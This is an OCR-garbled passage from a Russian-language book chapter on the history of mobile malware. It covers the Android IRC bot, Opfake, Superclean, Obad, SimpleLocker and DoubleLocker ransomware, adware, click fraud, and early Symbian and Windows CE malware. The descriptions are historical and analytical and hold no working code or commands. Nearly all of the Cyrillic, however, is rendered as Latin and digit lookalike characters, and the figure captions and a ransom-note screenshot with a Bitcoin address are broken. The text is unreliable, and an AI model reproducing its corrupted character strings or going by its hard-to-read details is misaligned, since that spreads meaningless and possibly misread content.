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NMPpHEMOB MAaCKHPOBKH HJIH pacripoCTpaHEHHA BHPYC HE HCIOJIL30Bal H B 3TOT pas. Mo-
OunbHas BEpCHA Zeus cMorna HagenaaTb MHOrO mymMa B CMI/I, HO, KAK MO>XHO BHIETH,
TPOSH OBLT CHJILHO NEPEOLIEHEH.

TTepsuzia IRC-60T

B cepeaune sHBaps 2012 rona cotpynHukud Jlabopatopun Kacnepckoro coobumnu o6
obHapy>xeHuH nepBoro B uctopun Android IRC-6ota. IpunoxxeHne pacrnpocTpaHsnoch
B BHAEe ycTaHOBOYHOro ¢aiina APK pasmepom uyth Gonbiie 5 M6 u BeinaBano cebs 3a
urpy MADDEN NFL 12. UHTepecHbIM OTJIHYHEM 3TOTrO TPOSHA OT APYrHX ObUIO TO, UTO,
Mo CYTH, BCA €ro JIoruka paboThbl ObL1a 3aKTIO4YeHa B HATHBHBIX MPHJIOKEHHAX IS Apa
Linux, KOTOpble HHKaK HE CBETHJIHCb B OKHE CTaHJApTHOro aucneryepa 3aaay Android
M K TOMY K€ HCIOJIb30BAJH JIOKAJIbHbIA 3KCIUIOHT U1 MOJy4€eHHs MpaB root.

Bo BpE€Ms 3alyCKa MNPHJIO0XKEHHE CO34aBal0 KartaJjior /data/data/com.android.bot/files,
B KOTOpPOM pa3Mellaio TpH d)ai‘ma: header01.png, footer0l.png, border0l.png, 4 3aTEM CTa-
BWJIO Ha HUX OMT MCMONHEHHs M 3amyckalo nepBbld ¢ain. 3To ObUT 3KCIUIOHT
Gingerbreak, ¢ moMoLIbIO KOTOPOrO MPOUCXOJWIIO MOJIyYEHHE MpaB root Ha YCTPOMCTBeE.
Ecnu Obina YCTAHOBJICHA Y>K€ pyTOBaHHas MPOLUHUBKA, MPHJIO0XEHHE MNMbITAJIOCH MOJIYYHTb
rnpasa root WITaATHHIMHA CpE€ACTBAMH, B pE3YJIbTATE YEro MOJIL30BATEII0 AEMOHCTPHPOBAJI-
CA 3anpocC Ha npe€aoCTaBI€CHHE MOBLILUIEHHBIX HpHBHﬂCFHﬁ (TOT cnyqai’{, Koraa pyToBaH-
HbIii cMapT¢oH Oe3onacHee HEPYTOBAHHOTO).

B cnyyae ycnewHoro nonyyeHHs npas root Jo6bIM M3 ABYX crnocoboB 3amyckacs BTO-
poi ¢aiin, B kOTopoM XpaHHiacs SMS-TposH, apnsioluiics MoaudHKaLHed H3BECTHOrO
TposiHa Foncy SMS. TposH onpenensn ctpaHy Bbinycka SIM-kapTel 1 HaYHWHan oTNpas-
Ky COOOLUEHHIH Ha KPOTKHH NIaTHbIA HOMep, O6J10KHpYs Bce oTBeTHbIE coobieHHs. Cre-
OyIOLUM 3anyckancs ¢ain border0l.png, B koTopoM pacnonarancs kox IRC-6ora. On
nonkmoyancs k IRC-cepBepy M perucTpHpoBajics Ha KaHajie #andros MOA Cly4YaHHBIM
HUKOM. Bce cooOuueHus, oTnpasieHHble 60OTY, BHIMOIHAMHCH B KOHCOJIH KaK OOBbIYHbIE
Linux-koMaHabl.

CornacHo 3asBieHHto cotpyaHukoB Jlabopatopun Kacnepckoro, 31o 6bU10 nepeoe npu-
JIoXeHHe Takoro kiacca A Android. OaHako, Mo HX MHEHMIO, ONACHOCTD €ro Oblna He-
BEJIMKA, T. K. pPaCMPOCTPAHSJICA OH TOJILKO YEepe3 «cepble» MapKeThl, a IKCIJIOAT paboTan
JIMLIL B paHHUX Bepcusax Android 2.3.

TTepsbIA NONUMOPEPHLIU TPOSH

B ¢epane 2012 rona koMnanus Symantec coob1uuaa o NMosBIEHHH NEPBOro MOJIUMOPd-
Horo TposiHa A nnartgopMel Android, KOTOpBIH B MOMEHT CBOEro OOHapy>keHHs He MOT
ObITL HalileH HX OOHUM MOGHJILHBIM aHTHBUpYcoM. TposH, HazBaHHbIH Android.Opfake,
pacrnpocTpaHsICs 4yepe3 pas/iMuHble BeO-CalThl, HAXOAMBILUHECH MPEUMYILUECTBEHHO Ha
TeppuTopuH Poccun u ctpan CHI', B Buae 6ecnnaTHOH BepcHH MOMYJISPHOrO MpPHIIOXkKe-
HHS WJIH UTPBI.
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[TonuMopdHBIM OH GbUT TONBKO YCIOBHO, T. K. KBMEHEHHE TPOsiHA MPOMCXOMIIO Ha CTO-
poHe cepsepa. [1pu kaxaoi HOBOIA 3arpy3ke ¢aiina conepkumoe APK nsmensioch ¢ no-
MOLLBIO Pa3THYHBIX METOOB, KOTOpbIE BKJIOYaIH B cebs Moaudukaumo dainos naH-
HbIX, BKTIOYEHHE B MaKeT NPHIOKEHHS «MyCOPHbIX (aiioB», a TakxkKe H3MEHEHHE HMEH
dainos (puc. 12.3).

File CRC
Filename

Installer. APK SKACHAT.APK
9dc48f61 074c54b5 META-INF/MANIFEST.MF
b1377893 42ecb534 META-INF/ALARM SF
248c3717 65105b65 META-INF/ALARM.RSA
40659b25 40659b25 AndroidManifest.xml
bbd8ggc2d bbd8gsc2d resources.arsc
7a3498c4 7a3498c4 classes.dex
61291361 9e488e9e res/raw/data.db
27bc873d 27bc873d res/drawable-hdpi/logo.png
27bc873d 27bc873d res/drawable-Idpiflogo.png
27bc873d 27bc873d res/drawable-mdpi/logo.png
fallbed8 fallbed8 res/drawable-hdpi/icon.png
fallbed8 fallbed8 res/drawable-ldpi/icon.png
fallbeds fallbed8 res/drawable-mdpi/icon.png

Puc. 12.3. Paanu4ua B KOHTPONbHbIX CyMMax haiinoB NakeTa C TPOAHOM,
CKayaHHbIX B pa3Hoe BpeMs

[Tocne nonagaHus Ha cMapToH >kepTBbI M 3amycka TpOsAH H3Biekan M3 daina
res/raw/data.db (KOTOpBIH CylUeCTBOBaJ B J1I00OH BEpCHH TpOsHA) CIUCOK OMEpaTopoB
CBSI3M M MJIATHBIX KOPOTKHX HOMEPOB, M0C/IE YEro HauHHal oTnpaBky SMS-coobLueHHi.
B nononHeHue TposH OTKpbIBan B Opay3epe BeO-CTpaHHLy, COAEPXALLYIO CChUIKH Ha
apyroe BpenoHocHoe [10. UHTepetHo, uto SMS-cooOuLIeHHs Taioke H3MEHSJIHCH MpH
KaXI0H HOBOM MyTalMH TPOSHA, YTO MPHBOAWJIO K HEBO3MOXHOCTH OJIOKMPOBaHHS
OrnpeeeHHbIX THMOB cOOOLIEHHH Ha CTOPOHE oneparopa.

Bupyc-martpeuwxa

Heneneii panbiue, a uMeHnHo 1 ¢espans 2012 roga, cotpyaHuk Jlaboparopun Kacnep-
ckoro Bukrop Yebywes ony6nukoBain Ha caiite securelist.com 3amMeTKy, MOCBALLEHHYIO
HOBOMY TpOsiHY, pacnpocTpaHseMoMy depe3 MarasuH Google Play. BpenoHoc mackupo-
Bajics non npuioxeHue Superclean, cnocobHoe, no cioBaM pa3paboOTHYHKOB, OYHCTHTH
NnaMATh YCTPOHCTBA W, TAKUM 00pa3oM, MOAHATH NMPOWU3BOAUTEIBHOCTb CMapTdOHa HIIH
mnaHwera. Ha Tor MomeHT npunoxeHde umeno yxe or 1000 no 5000 ycraHoBOk H
XOpOLUKH peHTHHT B 4,5 3Be3b! (puc. 12.4).
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Puc. 12.4. Ctpanuua npunoxeHus Superclean 8 GooglePlay

Kak BeisicHMnoch, Superclean neACTBUTENBHO BBIMOIHAN OYUCTKY NMAMATH, HO JeNal 3TO
NPOCTHIM MEpe3anyckoM BceX (POHOBBIX MPHIIOKEHHH C MOMOLUBIO BCEr0 5 CTPOK Ha A3bl-
ke Java. Ha 3T0#t «cnoxxHo#» 3amaye nosie3sHoe AEHCTBHE NMPHIOKEHHS 3aKaHYMBAIOCh,
a caMoe MHTEpecHOe Ha4yMHaloCh Janblle. AHaTH3UPYA koA, coTpyaHuk JlabopaTopuu
Kacnepckoro obHapy»ui, 4To MpH 3amycke MpPUIOKEHHE COEOMHANIOCH C yNAI€HHBIM
CEpBEPOM H 3arpykalo Ha KapTy NaMaTH TpH aina: autorun.inf, folder.ico H

svchosts.exe.

[epBrie nBa aBTOMaTH4eckH npeBpawiany noaiuitodaeMsiid k USB-nopry I1K cMmapTdon
B camo3arpyxaemylo ¢UiellKy, ¢ KOTOPOH NMPOMCXOAHJI aBTOMaTHYECKHH 3amyck ¢aitna
svchosts.exe. CaM svchost.exe Ha NpoBepKy okasaincs 63knopom Backdoor.MSIL.Ssucl.a,
KOTOpBIH ClyLIaeT MUKpOGOH KOMMBIOTEPa M OTMPABJAET BCE MOMYYEHHBbIE C €ro Mo-
MOLLBIO JAaHHBIE Ha YaJlIEeHHBIH cepBep.

Kpome Bruttouenus B cebs apyroro BpeaoHocHoro 10, oTnuunTenbHON yepToit TposiHa
ObL1 caMbli BHYLUMTENbHBIA Ha TOT MOMEHT Habop ¢yHkuui. [To komaHzae ot onepaTtopa
OH MOr OTNpaBiATb cooOlieHns 6Ge3 BeaoMa MOJb30BAaTeNsA, BKJIIOYAaThb M BBIKIIOYATh
Wi-Fi, cobupate HH}popmauuio 06 YCTPOHCTBE, OTKpHIBATh MPOM3BOJILHBIE CCBHUIKHM
B Opay3epe, OTNpaBATh Ha yAaneHHbIH cepBep coaepkumoe SD-kaptel, SMS-nepenucky
M BBINOJIHATb MHOTHE JpYyrue NeACTBHA.

K koHuy 2012 roga curyauus co 3noBpenamu s Android cTana HacTonbko HakalleH-
Ho#, yto Google pewnna NoWTH Ha oyepeqHOH kapAMHaNbHBIHA wWar. B ceHTa6pe 6e3
JIMLIHEH oryiacku ObU1 MpUOOpeTeH cepBUC OHNANHH-NPOBEPKH NMPHIIOKEHHIH Ha BHPYCHI
VirusTotal, a 29 okTa6ps — BeinyweHa Bepcus Android 4.2, onHO# M3 HOBLIECTB KOTO-
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poii cTana aBToMaTHYeckas MpoBepka roboro ycraHaBnuBaeMoro He yepe3 Google Play
MPUIIOXKEHHS Ha BUPYCHI Yepe3 yIaleHHbIH cepBHC (CEroaHs 3TOT CEPBHC HU3BECTEH MO
umeneM Google Play Protect).

TpyaHo cka3ath, Hcronb3oBana M Google kynnennsiii VirusTotal s 3Toit 3agauu, nu-
60 y Kopropauuu ecTb COOCTBEHHBI# CepBUC MPOBEPKH, OJHAKO HE HY>KHO OBITh paboT-
HukoM Google, uyTo6el moHATe: VirusTotal Tak uin uHaye 6bLT UCMONB30BaH 1S 3aLLMTEI
Android ot BpenoHocHoro I10.

HecTBUTeNbHO NPOABUHYTLIA TPOSH

B wurone 2013 roga corpynuuku Jlabopatopuu Kacnepckoro obGHapyxunu Haubonee
CJIOXHBIH U MPOJBHHYTHIH B TEXHHYECKOM I1aHe TposiH Ais Android u3 Bcex, 4To BCTpe-
yanuck A0 3Toro MoMeHTa. TposH nonyuyun ums Backdoor.AndroidOS.Obad.a. 3to 66110
He3aBUCHMOE MPUIIOXKEHHE, HE BHEAPSIEMOE B JISTHTHMHBIH codT H, Cyad Mo BceMy, pac-
MPOCTpaHsIEeMOe MO BUIOM KaKHX-JIHOO H3BECTHBIX MPHIOKEHHIA.

[Mocne cornamieHus Mojp30BaTeNs ¢ AJHHHBIM CITMCKOM MOJIHOMOYHi, YCTaHOBKH U 3a-
MycKa TPOsH 3amnpaliuBa rpaBa aIIMHHHCTpaTOpalyCTpOﬁCTBa (peyb uger He o root, a
0 cobcTBeHHO# cucteMe Ge3onmacHocTH Android, MO3BONSAIOLIEH BBHIMOJHATE HEKOTOpBIE
oracHble ornepauuy, puc. 12.5). OTu npaBa 6bUTH HyXHBI BPEIOHOCY TOJBKO AJS ABYX
Belled: caMOCTOATENbHOH OJOKMPOBKM 3KpaHa M 3alUMThl OT ynaneHus. [locnenHioro
BO3MOXHOCTb TPOSIH HUCIIOJIb30BaJl 0COOEHHO U3bIckaHHO. C MOMOLUBIO paHee HEeU3BECT-
Horo 6ara B Android oH ynansn ce6s U3 crnucka MPUIIOXKEHHUH C MOJTHOMOYUAMH aIMUHH-
CTpaTopa, U3-3a Yero ero HeBO3MOXKHO OBbLIO JIMIIKWTh 3THX MpaB H, KaK cJeICTBUe, yla-
JIMTh.

Jlanee TposiH MpoBepssl HaJH4YHE MpaB root H MpH CIEAYIOLUEM MOAKIIOYEHHH K CETH
Wi-Fi ornpasnsn unHdopmauuio o6 ycrpoiicTBe Ha yaaneHHbl cepBep. MHdbopMmauus
Obl1a THMMYHOM 11 TaKOro poja MpHIOXKEHHH H comepxkana B cebe Homep TenedoHa,
IMEI, MAC-aapeca u uHble nogoOHele cBeaeHUss. B oTBeT BpegoHOC moJiyyas CIUCOK
KOMaHJ M 3aHOCHJI MX B 0a3y NaHHBIX C MOMETKOH O BPEMEHH M MOC/IE0BATENbHOCTH
ucrionHenus. Cpeau Takux KoMaHJ ObuTH mpoBepka 6anaHca, oTnpaBka COOOLIEHHH,
nepexo] B peKHM NMPOKCHPOBaHHA Tpaduka, CKaYMBAHUE M YCTAHOBKA MPUIIOXKEHHH, OT-
npaBka ¢aiinoB no Bluetooth, oTkpeiTe wemna u 1. 1. [Ipy KaXIOM MOAKIIOYEHHH
K JpyroMy yctpo#cTy no Bluetooth TposiH konHpoBan cam cebs Ha 3TO yCTPOHCTBO.

ITpn nonbiTke aHanu3a koja TposiHa 0OHApY>KUIIOCh MCMOJIB30BAHHE MHOXECTBA TEXHHK
3alIMThl U aHTHOTIaAkH. Bo-nepBbIX, BpeIOHOC HCMONB30BaN HEU3BECTHBIH paHee Gar
B yTHiuTe dex2jar, u3-3a KOTOPOro JEKOMIHJIALIMS KOJa BpeJOHOCHOH MpOrpaMMsl Mpo-
HCXOM/Ia HEKOPPEKTHO. BO-BTOpPBIX, TPOSH MCMOJB30BaNl €Ll OAHH HEM3BECTHBIH Oar
B Android, koTOpBIH MO3BOMAN CO3AaTh MPOTHBOPEYALIMH cTaHAapTaM ¢aii Mani fest . xml
(B KOTOpPOM cOOEpXKUTCA MeTauHGOpMAlMs O NPHIOXKEHHH). OTOT ¢ain KOpPpPEeKTHO
obpabatbiBasics B Mpouecce YCTAHOBKH MPHIIOXKEHHUS, HO 3aTPYAHAN paboTy HHCTpPYMEH-
TOB aHaJIH3a.

PeBepcepy, koTopoMy yaaBanoch pacnakoBaTh H AEKOMITHIMPOBATh KOA TPOsiHa, 000H s
3TH OTrpaHHYEHHs, MPHXOAMUIOCH UMETh €10 C MHOTOYPOBHEBOH cHCTeMoH LiHdpoBa-
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HUA. OHa 3aluMILana OT aHaIW3a BCE TEKCTOBbIE JaHHbIE, a TAKXKE HMEHA METONOB (OHH
TOXe OBUIH CTPOKaMH M BbI3bIBATMCH NocpeacTBoM peduekcuu). UHTepecHo, 4To Kito-
4OM Ui MeEpBOro cJios LWHGPOBaHHA ABJIANACh CTPOKa C T[JIABHOM CTpaHHLbI
facebook.com, 13-3a yero paboTy TposHa HEBO3MOXXHO ObUIO MPOAHATU3UPOBATh B «CTe-
puiIbHOH KOMHaTtey, 6e3 noawmouyeHHs k HHTepHeTy (XOTA OrpaHHYeHHe, KOHEYHO,
MOXXHO 0O0MTH C MOMOLLBIO MPOKCH).

Yoo =X

o ; Activate device administrator?
'®! com.android.system.ad...

) System
Do you want to install this application?

Allow this application to:
e Your messages

Network communication
eate Bluetoot e Lock the screen

Internet a

Your personal mformatlon
] L 3Ct dat + (
1al

Storage

Phone calls

1nd

Services that cost you money

System tools

Cancel Install Cancel Activate

Puc. 12.5. Backdoor.AndroidOS.Obad.a Tpe6yeT MHOXecTBO NONHOMOYU AN paboTbl
W 3anpalwmpaeT npaBa aAMUHUCTpaTopa

Ransomware

B mae 2014 roga 6bu1 o6HapyeH nepBblii WHGPOBaNbLIMK (WMEHHO LIW(POBATBILHK,
a He usokep) s Android. OH nonyuun umsa Simple Locker (ANDROIDOS

SIMPLOCK.AXM), T. k. Bcs ero pabora 3akio4anach Tojbko B WKMdpoBaHuH ¢aiinos
Ha KapTe MaMATH C UCTOJIb30BaHHEM cTaHaapTHoro API Android.

Cerogns umdpoBansuMkoB ai1s Android mMacca. CornacHo HccieOBaHHIO KOMIAHHH
Trend Micro (http://blog.trendmicro.com/trendlabs-security-intelligence/android-
mobile-ransomware-evolution/), Tonsko B nepeo# nonouHe 2017 rona 6bu10 06Hapy-
xweHo 6onee 235 000 HoBbIx 06pa3uoB ransomware. To ke HccieqoBaHHe cooOIaeT, YTo
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60sbIIMHCTBO WH(POBANBLIUMKOB Hcnob3ytoT uMeHa Adobe Flash Player, Video Player
M Ha3BaHWA MOMYJIAPHbIX Urp. MHOrHe U3 HUX TaKkxke MPUMEHAIOT UMA MaKeTa, MoX0oXee
Ha MMeHa MakeToB BCTPOEHHBIX B Android NpHIoXKeHHiT: MOYTOBOro KJIMEHTa, KaJleHaaps
u 6pay3epa.

Yaiue Bcero wudpoBanblIMKH Henoab3yroT anroput™ AES, a krod xpaHaT Mo B Ha-
CTpOiikax MpUJIOXKeHHA (Tak MOCTYMaiu B OCHOBHOM paHHHE BEpCHH), MO0 Ha cepBepe.
Jdns casu ¢ C&C-cepBepoM mpuMeHsOTcs, kak npaBuio, npotokonsl HTTPS, TOR
n XMPP. Hepenxo B kauecTBe BCIOMOrarTesbHOro cpeAcTBa 3apaboTka co3marenu WHd-
POBaJbLIMKOB BCTPAaMBAIOT B HUX cpeacTBa oTnpaBkv SMS M ocyluecTBieHHs 3BOHKOB
Ha rulaTHele Homepa. Hepenko wM¢poBaibLIMKH MOJMYYalOT MpaBa aAMUHHUCTPAaTOpa Ha
YCTpO#CTBE, HO TOJILKO [UTS TOrO, YTOOBI 3aTPYIHHTb CBOE YAAIEHHE.

Kpome windpoBaHus naHHBIX, ransomware Takxe Moryr 6;10kMpoBaTh cMapT(OH ApYrH-
mu cniocobamu. Hanpumep, wmdposansink DoubleLocker (puc. 12.6), kpome wmndpo-
BaHUA JaHHBIX, 6nokupoBan cMmaptdoH PIN-komom M ycraHaBnuBan cebs B KauecTBe

i, Current state information

The encryption
was done gener on key (using
AE 6)

e
k. \; 6'
Data will be lost Number of The cost of the key
after encrypted files for decryption

23h 3437 0.0130 BTC

Please make payment to this Bitcoin address or you can scan QR-code
to get Bitcoin-address easily. The operation is complete if there are 3
confirmations.

THxKouDDK9WbkizMEnf23tftHSefWhUyXR
send 0.0130 BTC o this address to get private key

OR scan QR-code

NOT PAID

prnvate key status

CHECK MY PAYMENT

WHERE TO GET BITCOIN

Puc. 12.6. Coo6weHue DoubleLocker
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nedontHoro nayHuepa. YtoObl MonyyuTh OOCTYN K CBOEMY CMapTdOHY M JaHHBIM Ha
KapTe MamsTH, nojs3oBatesib JomkeH Obu1 3amnatute 0.0130 BTC. [Tocne atoro daiinsl
pacuindpoBsiBanuck, a PIN-kon cOpaceiancs.

UHTEPECHbBIA ®AKT

CornacHo uccnegoeanuto Qihoo Android ransomware research report (http://blogs.360.cn/
360mobile/2016/04/12/analysis_of _mobile_ransomware/) Gonbwas 4acTb ransomware
(84%) HanucaHa npsiMo Ha Android-ycTpoiicTBax C nomMoLLbio MoBunbHoOW cpeas! pa3pabor-
ku AIDE.

Adware

Adware — cpaBHHMTENIbHO HOBBIH THN 3JIOBPEIHBIX MPUIOKEHHUH, NOJYyYHBLIMX pacmnpo-
cTpaHeHHe Ha cmapTdoHaXx. OOBIYHO TaKHe MPUIOKEHHS HE HAHOCAT Bpefla YCTPOHCTBY
WK MONb30BaTEIbCKHM JaHHBIM, HO arpecCMBHO MOKa3bIBAlOT pekiiaMy JIMOo 3acTaBns-
IOT MOJIb30BATEN YCTAHOBHTH H 3aMyCTUTh PYroe MpHIoKEHHE.

CpenHectatucTHyeckuit Adware paboTaeT Tak: MpH 3arycke MM uyepe3 ornpeesieHHbIe
HHTEpBaJIbl BpEMEHH OHO CKaUMBAeT HECKOJBbKO APYrHX MPHIOKEHHH, KOTOpbIE clielyeT
BCYUYHTb MOJb30BATENIO, U BPEMs OT BPEMEHH MOKa3bIBa€T €My JHAJIOr YCTaHOBKH. [Tonb-
30BaTeNId OT 3TOr0 HE B BOCTOpPre, HO OONBLIMHCTBO M3 HUX BHE OMAacCHOCTH: YCTaHOBKY
U3 CTOPOHHHX HCTOYHHKOB HEOOXOIMMO BKJIIOUHMTB, 3aTEM YCTAHOBHThH pEKJIaMHpyeMoe
NpHIOXKEHHE, 3aTEM 3aMyCTHTD €ro.

OpHako ¢ koHua 2016 roga HameTunach HoBas TeHOeHUHMsA: Adware, 3aneHCTBYIOLIHIA
BO3MOxHOCTH ¢peiimBopka DroidPlugin. [Tocnennuii npencrasnser coboi HeuTo Bpoae
BUPTYabHOH MalUMHBI 11 MpUiokeHUH. OH Mo3BosISeT HanmucaTh MPHIOKEHHE, KOTO-
poe Oyner cnocoOHO 3amyckaTh Apyrue MpHIOKEHHs BHYTpH cebs, NpUYeM He MpoCcTo
3amycKaTh, a 3aMyckaTh aBTOMaTH4YeCKH W aBTOMaTHYECKH K€ YCTaHaBIWBaTh. J[pyruMu
CJIOBaMH, HCMONB3YIOILKIA 3TOT (periMBopk Adware MOXKET He3aMeTHO CKadaTb MPHIIO-
JKEHHE Ha KapTy MaMsTH, YCTaHOBHTb €ro BHYTpb cebs, co3aaTh sApiblk Ha PaboueM cto-
Jie U 3aMyCTHThb, a CO3/aTelb YCTaHOBJIEHHOrO MPHIOKEHHS MOJYUYHT 33 3TO JAEHEXKY.
OnuH U3 npumepoB Takoro Adware — npunoxenue Clean Doctor, yxxe ynaneHHoe M3
Play Store.

Click fraud

Click fraud — ewe ouH THN 37OBpEAHBIX MPHIOKEHHH, MOTYYHBILHI pacnpocTpaHeHHE
C pOCTOM MomyJSpHOCTH cMapThoHOB. Kak M B mpeapiaylIeM ciyyae, TakHe MpHIIoxKe-
HHMS He MpeACTaBIAlT ocoboro Bpena. Mx cosmatenu 3apabaThiBalOT Ha pekjiaMe, HO
BMecTo noka3sa 3noBpen Click Fraud kiukaer no pekjiame B CBOEM OKHE MM B OKHax
APYTHX MPUIOKEHHH.

B OCHOBHOM TakHe MpPUJIOXKEHHS pa3leNsAloTCs Ha JBa THUMA: T€, YTO UCMOJNB3YIOT CEPBH-
cel Accessibility 1y monay4eHHss BO3MOXKHOCTH HaXKHUMaTh Ha JitOOble 37IeMEHThl UHTep-
deiica, u Te, yto Hcnonb3yOT API viewGroup.dispatchTouchEvent, MO3BOJISIOLIMHA MPHIIO-
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XKEHHIO (KJIMKHYTbY» Ha CBOM COOCTBEHHBIE 3JIEMEHTHI, T. €. Ha pekJlaMy, KOTOpYIO OHO
CaMo K€ MOKa3bIBaeT.

Bropo#i Tun Haubonee npocToi W MPUMHTHBHBIA. PekslaMHas ceTb MOXKET JIErKo oTcJie-
JUTb €ro, aHAJIM3UPYs, C KAKOH MEPHOANUYHOCTBIO MPOMCXOAAT KJIHUKH, MO KAKUM 4acTIM
00BABNIEHHS, @ TAKXKE KaK OHH «BbIMJISAAT»: AaBJE€HHE, MJOWAaAb, JJTMTEIbHOCTb HAXKaTHs
u T. A. IlpunoxeHue, B cBOIO oyepean, MOXeT nonpoboBaTe 0OMaHyTh peKIaMHYIO CeTb
NyTeM COXpaHEHHs MapamMeTpoB MOCEAHEro HaXKaTHs MoJb30BaTeN U UCMOJIb30BATh HX
IUIs HaXkaTHs Mo peksiaMe U pa3dpoca BpeMeHH HaxkaTHil. KpoMe Toro, npunoxeHue mo-
*eT BbIOMpaTh, ¢ KaKko# pekJlaMHOMH ceThblo paboTaTh, a KaKylo JIyyllle OCTaBHTb B MOKOE.

IlepBbiii THM NOAOOHBIX 3/I0BpEAOB HCMOJb3YeT cepBUC Accessibility, KoTopblit mo3Bons-
€T HaXMMaTb Ha MPAKTHYECKH JItOOble YacTH JHOOBIX MPHIOKEHHH M cCaMOH CHCTEMBI.
KpoMe BO3MOXHOCTH Ha)XHMaTb Ha pekjiamy, TaKHe MPHIOXKEHHs TaKKe MOTYT MPHHO-
CHTb XO35MHY NMPHOBLUIb 3a CUET YCTAHOBKH peKIaMHpyeMbIX MpuiokeHuit (installation
fraud).

OpHako y Takux click-60TOB ecTb HeaOCTaTOK: OHH JIMOO JOMKHBI KaKHM-TO 00pazoM
3aCTaBUTh MOJIb30BATENs BKJIKOYHThL CBOM cepBUC Accessibility, n1ubo ucnonb3oBarth ara-
Ky Cloak & Dagger, 4ToObl BKJIHOYHTb €r0 HE3aMETHO.

A kak xe apyrue OC?

KoHeuHo ke, HCTOpHS BUpYCONKMCATENbCTBA HE OrpaHHYHBAETCS TOJbKO JIMLLb miaTdop-
moit Android. OC ot Google cTana 3TakuMm JIOTHHECKHM 3aBEpLUEHHEM 3TOH 3MorneH,
NpeBpaTHBILKCH B CUCTEMY, KOTOpas OIHOBPEMEHHO CTajla U IOMHHHUpYIOLLEH B BEK Mo-
BCEMECTHOTrO pacrnpocTpaHeHHs MOOMIIBHBIX YCTPOWCTB, M JIOCTATOYHO OTKPBITOM AMs
nonb3oBarteneid. Hactosuas uctopus MOOHIBHBIX BUPYCOB Hayasnach 3a[0Jro 10 MosiB-
nenus Android eme B Te BpeMeHa, KOrJa Ha pblHKE rocrnoicTBoBaid Symbian u
Windows Mobile.

Ewe B 2004 rony xakepckas rpynnudpoBka 29A npoaeMOHCTpUpOBaia npuMep YepBs s
Symbian Series 60, HazBaHHoro Brnocaeactsuu Cabir u knaccuduuupoBanHoro Jlabopa-
Topueit Kacnepckoro kak Worm.SymbOS.Cabir. YepBb pacnpocTpaHsics uepe3s
Bluetooth 1 He nenan HUKAaKMX 3710BPEHbIX AEHCTBH, KpOME JEMOHCTpaLHH Cooblie-
Hus «Caribe» mocne BkatoueHHs cmapTdoHa. YuacTHHKH 29A pa3ocnaid BHpYC Beady-
LUWM aHTHBHPYCHbIM KOMMaHHAM KaK NMpuUMep, a 3aTeM onmyOJMKOBaIH €ro MCXOAHbIH
KOJ, U3-3a 4ero BIOCJIECTBHH MOSBHIOCH HECKOIbKO MOAH(HKALMH YepBs, Ha 3TOT pa3
HalIeHHbIX «B UKOH NMpUpoae».

CrnycTs Mecsu Obln oOHapyxeH nepBbld BUpyc s cuctem Ha 6aze Windows CE noa
HazpaHueM Virus.WinCE.Duts. On nopaxan onepauuoHHsie cucteMmbl PocketPC 2000,
PocketPC 2002, PocketPC 2003, He ymen pacnpocTpaHsaThes uepe3 Bluetooth unu MMS,
HO HHHULIMPOBAN Bce HalIeHHbIe MPHIOXKeHHs Ha caMoM ycTpoiicTBe. Kak u Cabir, oH
Obin getuuieM 29A u Taioke ObUT co3aaH 11 I€EMOHCTPALMH BO3MOXHOCTH CYLLECTBOBA-
HHs nopoOHoro poaa 3noBpenoB. O6 3TOM, KCTaTH, MOXKHO JOTrafaThCsl MO HHTETUTEHT-
HOMY COOOLLEHHIO, KOTOpPOE MOSBIAIOCH MOc/e 3amycka WH(pHLUMPOBAHHOTO MpPHIIOXKe-
Hus: «Jloporoii nonb3oBatenb, s MOTy pacnpocTpaHUTbC ?» U kHonkaM «Jla/Her.
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Cnycts Mecsau s Windows CE 6bu1 obHapyxeH nepBbiii 63xmop: Backdoor.
WinCE.Brador. Ilocne 3anycka 3/10Bpe NMPONHCHIBAJICS B aBTO3arpy3ky, a 3aTeM OTKpbI-
BaJl CETEBOH MOPT WM OXHMAAJ yJajeHHble MOAKTIOUEHHUs. baknop noanepxuBan Takue
KOMaH[bl, KaK Mojy4yeHHe cnucka ¢aiaoB Ha ycTpoHcTBe, 3arpy3ka ¢aia, nokas SMS-
coolLeHHH, nomyyeHHe aiina ¢ ycTpoicTBa H BbIMOJHEHHE ONpeeIeHHOH KOMaH/bI.

[NpakTHuecku cpasy nociie Brador 6bu1 HalineH W nepBbiii SMS-TposiH, B 3TOT pa3 s
Symbian. OH pacnipocTpaHsics B coctaBe NpocTod Urpbl Mosquitos, B 4ecTb KOTOpPO# H
nony4un ceoe ums — Trojan.SymbOS.Mosquit.a. [Tocsie 3anycka oH HaUHHAJl PacChUIKY
cooOLueHui Ha npeMUyM-HoMmepa. PaboTocnocoOHOCTb HIpbl MOJHOCTBIO COXPAHSIACH, a
€€ TUTYJIbHBIH 3KkpaH ObUT yKpalleH COOOLUEHHEM O TOM, YTO Urpa Obula KpAKHYTa HEKHM
SODDOM BIN LOADER.

BriocneaAcTBHH KOJNHYECTBO M3BECTHBIX BPEIOHOCOB IJI MOOMIIBHBIX YCTPOMCTB Hayaso
CTPEMHUTENIBHO BO3pacTaTh, U MHOTHE M3 HUX HCMOJIb30BAIH MHOTOYHCIIEHHBIE YS3BUMO-
cti B Symbian. Hanpumep, Trojan.SymbOS.Locknut ncrions3oBan HeKOppeKTHYIO Mpo-
BEPKY HCIOJIHSEMBbIX (aiisioB, 4ToObl 610kHpoBaTh paboty Bceii OC. Trojan.SymbOS.
Fontal 3ameHsn cucteMHble WIpHGTH Ha MOAMGHLUMPOBaHHBIE BEPCHH, U3-3a yero OC
TaKke OTKa3biBajach 3arpyxatbes. Trojan.SymbOS.Dampig u Trojan.SymbOS.Hoblle
MOAMEHSIH CUCTEMHBIE NpUIIokeHHs, a Trojan.SymbOS.Drever 6b11 criocobeH 610kupo-
BaTh paboTy aHTHBHUPYCHBIX MPHIIOKEHHIA.

[Tocne Toro kak Ha cueHe nosBunack i0S, HEKOTOpbIE BUPYCOMUCATENTH MOMBITATHCH Me-
peKIounThes Ha Hee. OHako u3-3a napaHouaanabHoi 3akpeiTocTd API OC n HeBO3MOxX-
HOCTH YCTaHOBHMTb MPHJIOKEHHS M3 CTOPOHHHX MCTOYHHKOB 3MHIEMHS HE MPOMU30LLIA.
HeMHorouucneHHble BUpYChl OBbIIM OpPHEHTHPOBaHbI Ha B3JIOMaHHblE YCTpOHCTBa
M B OCHOBHOM BBIBOJIMJIH Ha 3KpaH pa3/iHuHble PeKIaMHble H GHLIMHTOBbIE COOOLIEHHS.
Haubonee npumevatenbHbIM CTano pa3Be 4TO MOSBIEHHE TposHa B camMoM AppStore.
